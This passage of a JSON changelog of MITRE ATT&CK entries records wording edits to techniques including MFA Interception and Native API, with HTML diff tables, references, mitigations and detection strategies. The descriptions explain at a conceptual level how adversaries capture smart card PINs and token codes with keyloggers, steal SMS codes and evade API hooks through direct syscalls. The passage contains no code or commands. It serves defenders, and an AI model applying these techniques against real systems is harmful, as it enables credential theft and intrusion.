nowrap=\"nowrap\">](https://attack.mitre.org/techniques/T1542/005).&nbsp;&nbsp;&nbsp;When&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tps://attack.mitre.org/techniques/T1542/005).&nbsp;&nbsp;&nbsp;When&nbsp;the&nbsp;tec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;technique&nbsp;is&nbsp;performed&nbsp;on&nbsp;the&nbsp;running&nbsp;operating&nbsp;system&nbsp;in&nbsp;m</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hnique&nbsp;is&nbsp;performed&nbsp;on&nbsp;the&nbsp;running&nbsp;operating&nbsp;system&nbsp;in&nbsp;memor</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">emory&nbsp;and&nbsp;not&nbsp;on&nbsp;the&nbsp;stored&nbsp;copy,&nbsp;this&nbsp;technique&nbsp;will&nbsp;not&nbsp;su</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;and&nbsp;not&nbsp;on&nbsp;the&nbsp;stored&nbsp;copy,&nbsp;this&nbsp;technique&nbsp;will&nbsp;not&nbsp;surviv</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rvive&nbsp;across&nbsp;reboots.&nbsp;&nbsp;However,&nbsp;live&nbsp;memory&nbsp;modification&nbsp;of&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;across&nbsp;reboots.&nbsp;&nbsp;However,&nbsp;live&nbsp;memory&nbsp;modification&nbsp;of&nbsp;the&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;operating&nbsp;system&nbsp;can&nbsp;be&nbsp;combined&nbsp;with&nbsp;[ROMMONkit](https:</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">operating&nbsp;system&nbsp;can&nbsp;be&nbsp;combined&nbsp;with&nbsp;[ROMMONkit](https://at</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">//attack.mitre.org/techniques/T1542/004)&nbsp;to&nbsp;achieve&nbsp;persiste</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tack.mitre.org/techniques/T1542/004)&nbsp;to&nbsp;achieve&nbsp;persistence.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nce.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1026: Privileged Account Management",
                            "M1027: Password Policies",
                            "M1032: Multi-factor Authentication",
                            "M1043: Credential Access Protection",
                            "M1045: Code Signing",
                            "M1046: Boot Integrity"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0469: Detection Strategy for Patch System Image on Network Devices"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2017-05-31 21:31:23.195000+00:00",
                    "modified": "2026-11-04 00:28:25.581000+00:00",
                    "name": "Multi-Factor Authentication Interception",
                    "description": "Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token.(Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes).(Citation: GCN RSA June 2011)\n\nOther methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users\u2019 phones.(Citation: Okta Scatter Swine 2022)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "credential-access"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1111",
                            "external_id": "T1111"
                        },
                        {
                            "source_name": "GCN RSA June 2011",
                            "description": "Jackson, William. (2011, June 7). RSA confirms its tokens used in Lockheed hack. Retrieved November 17, 2024.",
                            "url": "https://www.route-fifty.com/cybersecurity/2011/06/rsa-confirms-its-tokens-used-in-lockheed-hack/282818/"
                        },
                        {
                            "source_name": "Mandiant M Trends 2011",
                            "description": "Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved January 10, 2016.",
                            "url": "https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf"
                        },
                        {
                            "source_name": "Okta Scatter Swine 2022",
                            "description": "Okta. (2022, August 25). Detecting Scatter Swine: Insights into a Relentless Phishing Campaign. Retrieved February 24, 2023.",
                            "url": "https://sec.okta.com/scatterswine"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "John Lambert, Microsoft Threat Intelligence Center"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_version": "2.1",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:28:25.581000+00:00\", \"old_value\": \"2026-05-12 15:12:00.722000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \\n\\nIf a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token.(Citation: Mandiant M Trends 2011)\\n\\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes).(Citation: GCN RSA June 2011)\\n\\nOther methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users\\u2019 phones.(Citation: Okta Scatter Swine 2022)\", \"old_value\": \"Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \\n\\nIf a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\\n\\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\\n\\nOther methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users\\u2019 phones.(Citation: Okta Scatter Swine 2022)\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +1,7 @@\\n Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \\n \\n-If a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\\n+If a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token.(Citation: Mandiant M Trends 2011)\\n \\n-Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\\n+Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes).(Citation: GCN RSA June 2011)\\n \\n Other methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users\\u2019 phones.(Citation: Okta Scatter Swine 2022)\"}}}",
                    "previous_version": "2.1",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to131__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to131__0\"><a href=\"#difflib_chg_to131__top\">t</a></td><td class=\"diff_header\" id=\"from131_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;target&nbsp;multi-factor&nbsp;authentication&nbsp;(MFA)&nbsp;mec</td><td class=\"diff_next\"><a href=\"#difflib_chg_to131__top\">t</a></td><td class=\"diff_header\" id=\"to131_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;target&nbsp;multi-factor&nbsp;authentication&nbsp;(MFA)&nbsp;mec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hanisms,&nbsp;(i.e.,&nbsp;smart&nbsp;cards,&nbsp;token&nbsp;generators,&nbsp;etc.)&nbsp;to&nbsp;gain</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hanisms,&nbsp;(i.e.,&nbsp;smart&nbsp;cards,&nbsp;token&nbsp;generators,&nbsp;etc.)&nbsp;to&nbsp;gain</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;access&nbsp;to&nbsp;credentials&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;access&nbsp;systems,&nbsp;s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;access&nbsp;to&nbsp;credentials&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;access&nbsp;systems,&nbsp;s</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ervices,&nbsp;and&nbsp;network&nbsp;resources.&nbsp;Use&nbsp;of&nbsp;MFA&nbsp;is&nbsp;recommended&nbsp;an</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ervices,&nbsp;and&nbsp;network&nbsp;resources.&nbsp;Use&nbsp;of&nbsp;MFA&nbsp;is&nbsp;recommended&nbsp;an</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;provides&nbsp;a&nbsp;higher&nbsp;level&nbsp;of&nbsp;security&nbsp;than&nbsp;usernames&nbsp;and&nbsp;pas</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;provides&nbsp;a&nbsp;higher&nbsp;level&nbsp;of&nbsp;security&nbsp;than&nbsp;usernames&nbsp;and&nbsp;pas</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">swords&nbsp;alone,&nbsp;but&nbsp;organizations&nbsp;should&nbsp;be&nbsp;aware&nbsp;of&nbsp;technique</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">swords&nbsp;alone,&nbsp;but&nbsp;organizations&nbsp;should&nbsp;be&nbsp;aware&nbsp;of&nbsp;technique</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;that&nbsp;could&nbsp;be&nbsp;used&nbsp;to&nbsp;intercept&nbsp;and&nbsp;bypass&nbsp;these&nbsp;security&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;that&nbsp;could&nbsp;be&nbsp;used&nbsp;to&nbsp;intercept&nbsp;and&nbsp;bypass&nbsp;these&nbsp;security&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mechanisms.&nbsp;&nbsp;&nbsp;If&nbsp;a&nbsp;smart&nbsp;card&nbsp;is&nbsp;used&nbsp;for&nbsp;multi-factor&nbsp;authe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mechanisms.&nbsp;&nbsp;&nbsp;If&nbsp;a&nbsp;smart&nbsp;card&nbsp;is&nbsp;used&nbsp;for&nbsp;multi-factor&nbsp;authe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ntication,&nbsp;then&nbsp;a&nbsp;keylogger&nbsp;will&nbsp;need&nbsp;to&nbsp;be&nbsp;used&nbsp;to&nbsp;obtain&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ntication,&nbsp;then&nbsp;a&nbsp;keylogger&nbsp;will&nbsp;need&nbsp;to&nbsp;be&nbsp;used&nbsp;to&nbsp;obtain&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;password&nbsp;associated&nbsp;with&nbsp;a&nbsp;smart&nbsp;card&nbsp;during&nbsp;normal&nbsp;use.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;password&nbsp;associated&nbsp;with&nbsp;a&nbsp;smart&nbsp;card&nbsp;during&nbsp;normal&nbsp;use.&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">With&nbsp;both&nbsp;an&nbsp;inserted&nbsp;card&nbsp;and&nbsp;access&nbsp;to&nbsp;the&nbsp;smart&nbsp;card&nbsp;pass</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">With&nbsp;both&nbsp;an&nbsp;inserted&nbsp;card&nbsp;and&nbsp;access&nbsp;to&nbsp;the&nbsp;smart&nbsp;card&nbsp;pass</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">word,&nbsp;an&nbsp;adversary&nbsp;can&nbsp;connect&nbsp;to&nbsp;a&nbsp;network&nbsp;resource&nbsp;using&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">word,&nbsp;an&nbsp;adversary&nbsp;can&nbsp;connect&nbsp;to&nbsp;a&nbsp;network&nbsp;resource&nbsp;using&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;infected&nbsp;system&nbsp;to&nbsp;proxy&nbsp;the&nbsp;authentication&nbsp;with&nbsp;the&nbsp;inse</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;infected&nbsp;system&nbsp;to&nbsp;proxy&nbsp;the&nbsp;authentication&nbsp;with&nbsp;the&nbsp;inse</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rted&nbsp;hardware&nbsp;token.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Mandiant&nbsp;M&nbsp;Trends&nbsp;2011)&nbsp;&nbsp;Adv</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rted&nbsp;hardware&nbsp;token.(Citation:&nbsp;Mandiant&nbsp;M&nbsp;Trends&nbsp;2011)&nbsp;&nbsp;Adve</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ersaries&nbsp;may&nbsp;also&nbsp;employ&nbsp;a&nbsp;keylogger&nbsp;to&nbsp;similarly&nbsp;target&nbsp;oth</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rsaries&nbsp;may&nbsp;also&nbsp;employ&nbsp;a&nbsp;keylogger&nbsp;to&nbsp;similarly&nbsp;target&nbsp;othe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">er&nbsp;hardware&nbsp;tokens,&nbsp;such&nbsp;as&nbsp;RSA&nbsp;SecurID.&nbsp;Capturing&nbsp;token&nbsp;inp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;hardware&nbsp;tokens,&nbsp;such&nbsp;as&nbsp;RSA&nbsp;SecurID.&nbsp;Capturing&nbsp;token&nbsp;inpu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ut&nbsp;(including&nbsp;a&nbsp;user's&nbsp;personal&nbsp;identification&nbsp;code)&nbsp;may&nbsp;pro</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;(including&nbsp;a&nbsp;user's&nbsp;personal&nbsp;identification&nbsp;code)&nbsp;may&nbsp;prov</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">vide&nbsp;temporary&nbsp;access&nbsp;(i.e.&nbsp;replay&nbsp;the&nbsp;one-time&nbsp;passcode&nbsp;unt</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ide&nbsp;temporary&nbsp;access&nbsp;(i.e.&nbsp;replay&nbsp;the&nbsp;one-time&nbsp;passcode&nbsp;unti</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">il&nbsp;the&nbsp;next&nbsp;value&nbsp;rollover)&nbsp;as&nbsp;well&nbsp;as&nbsp;possibly&nbsp;enabling&nbsp;adv</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;the&nbsp;next&nbsp;value&nbsp;rollover)&nbsp;as&nbsp;well&nbsp;as&nbsp;possibly&nbsp;enabling&nbsp;adve</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ersaries&nbsp;to&nbsp;reliably&nbsp;predict&nbsp;future&nbsp;authentication&nbsp;values&nbsp;(g</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rsaries&nbsp;to&nbsp;reliably&nbsp;predict&nbsp;future&nbsp;authentication&nbsp;values&nbsp;(gi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iven&nbsp;access&nbsp;to&nbsp;both&nbsp;the&nbsp;algorithm&nbsp;and&nbsp;any&nbsp;seed&nbsp;values&nbsp;used&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ven&nbsp;access&nbsp;to&nbsp;both&nbsp;the&nbsp;algorithm&nbsp;and&nbsp;any&nbsp;seed&nbsp;values&nbsp;used&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;generate&nbsp;appended&nbsp;temporary&nbsp;codes).<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;GCN&nbsp;RSA&nbsp;Jun</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;generate&nbsp;appended&nbsp;temporary&nbsp;codes).(Citation:&nbsp;GCN&nbsp;RSA&nbsp;June&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;2011)&nbsp;&nbsp;Other&nbsp;methods&nbsp;of&nbsp;MFA&nbsp;may&nbsp;be&nbsp;intercepted&nbsp;and&nbsp;used&nbsp;by</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">2011)&nbsp;&nbsp;Other&nbsp;methods&nbsp;of&nbsp;MFA&nbsp;may&nbsp;be&nbsp;intercepted&nbsp;and&nbsp;used&nbsp;by&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;an&nbsp;adversary&nbsp;to&nbsp;authenticate.&nbsp;It&nbsp;is&nbsp;common&nbsp;for&nbsp;one-time&nbsp;cod</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;adversary&nbsp;to&nbsp;authenticate.&nbsp;It&nbsp;is&nbsp;common&nbsp;for&nbsp;one-time&nbsp;codes</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;to&nbsp;be&nbsp;sent&nbsp;via&nbsp;out-of-band&nbsp;communications&nbsp;(email,&nbsp;SMS).&nbsp;I</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;be&nbsp;sent&nbsp;via&nbsp;out-of-band&nbsp;communications&nbsp;(email,&nbsp;SMS).&nbsp;If&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">f&nbsp;the&nbsp;device&nbsp;and/or&nbsp;service&nbsp;is&nbsp;not&nbsp;secured,&nbsp;then&nbsp;it&nbsp;may&nbsp;be&nbsp;v</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;device&nbsp;and/or&nbsp;service&nbsp;is&nbsp;not&nbsp;secured,&nbsp;then&nbsp;it&nbsp;may&nbsp;be&nbsp;vul</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ulnerable&nbsp;to&nbsp;interception.&nbsp;Service&nbsp;providers&nbsp;can&nbsp;also&nbsp;be&nbsp;tar</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nerable&nbsp;to&nbsp;interception.&nbsp;Service&nbsp;providers&nbsp;can&nbsp;also&nbsp;be&nbsp;targe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">geted:&nbsp;for&nbsp;example,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;compromise&nbsp;an&nbsp;SMS&nbsp;messa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ted:&nbsp;for&nbsp;example,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;compromise&nbsp;an&nbsp;SMS&nbsp;messagi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ging&nbsp;service&nbsp;in&nbsp;order&nbsp;to&nbsp;steal&nbsp;MFA&nbsp;codes&nbsp;sent&nbsp;to&nbsp;users\u2019&nbsp;phon</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;service&nbsp;in&nbsp;order&nbsp;to&nbsp;steal&nbsp;MFA&nbsp;codes&nbsp;sent&nbsp;to&nbsp;users\u2019&nbsp;phones</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es.(Citation:&nbsp;Okta&nbsp;Scatter&nbsp;Swine&nbsp;2022)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.(Citation:&nbsp;Okta&nbsp;Scatter&nbsp;Swine&nbsp;2022)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1017: User Training"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0246: Detection Strategy for MFA Interception via Input Capture and Smart Card Proxying"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2017-05-31 21:31:17.472000+00:00",
                    "modified": "2026-11-03 21:33:34.331000+00:00",
                    "name": "Native API",
                    "description": "Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.\n\nNative API functions (such as <code>NtCreateProcess</code>) may be directly invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API <code>CreateProcess()</code> or GNU <code>fork()</code> will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may use assembly to directly or indirectly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1685).",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "execution"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1106",
                            "external_id": "T1106"
                        },
                        {
                            "source_name": "MACOS Cocoa",
                            "description": "Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020.",
                            "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1"
                        },
                        {
                            "source_name": "Apple Core Services",
                            "description": "Apple. (n.d.). Core Services. Retrieved June 25, 2020.",
                            "url": "https://developer.apple.com/documentation/coreservices"
                        },
                        {
                            "source_name": "macOS Foundation",
